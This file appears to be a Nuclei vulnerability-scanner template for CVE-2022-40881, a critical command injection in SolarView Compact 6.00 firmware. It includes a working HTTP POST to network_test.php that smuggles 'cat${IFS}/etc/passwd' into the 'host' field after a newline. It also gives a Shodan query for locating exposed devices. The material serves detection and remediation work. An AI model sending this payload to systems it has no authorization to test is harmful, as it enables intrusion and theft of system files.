54 lines
1.6 KiB
YAML
54 lines
1.6 KiB
YAML
id: CVE-2022-40881
|
|
|
|
info:
|
|
name: SolarView 6.00 - Remote Command Execution
|
|
author: For3stCo1d
|
|
severity: critical
|
|
description: |
|
|
SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
|
|
remediation: |
|
|
Apply the latest patch or upgrade to a non-vulnerable version of SolarView.
|
|
reference:
|
|
- https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
|
|
- https://github.com/advisories/GHSA-wx3r-88rg-whxq
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40881
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-40881
|
|
cwe-id: CWE-77
|
|
epss-score: 0.95494
|
|
epss-percentile: 0.99197
|
|
cpe: cpe:2.3:o:contec:solarview_compact_firmware:6.00:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: contec
|
|
product: solarview_compact_firmware
|
|
shodan-query: http.favicon.hash:"-244067125"
|
|
tags: cve,cve2022,solarview,rce,lfi
|
|
variables:
|
|
cmd: "cat${IFS}/etc/passwd"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /network_test.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
host=%0a{{cmd}}%0a&command=ping
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100ad63911a292641d964b99f406961ae92032b2ebf888551922191e5e0fcfce3c2022001f5e7f5ff04f8ffcecaa8a5dd0d042af5bb53c28681a32e66a6e119193bf3d9:922c64590222798bb761d5b6d8e72950
|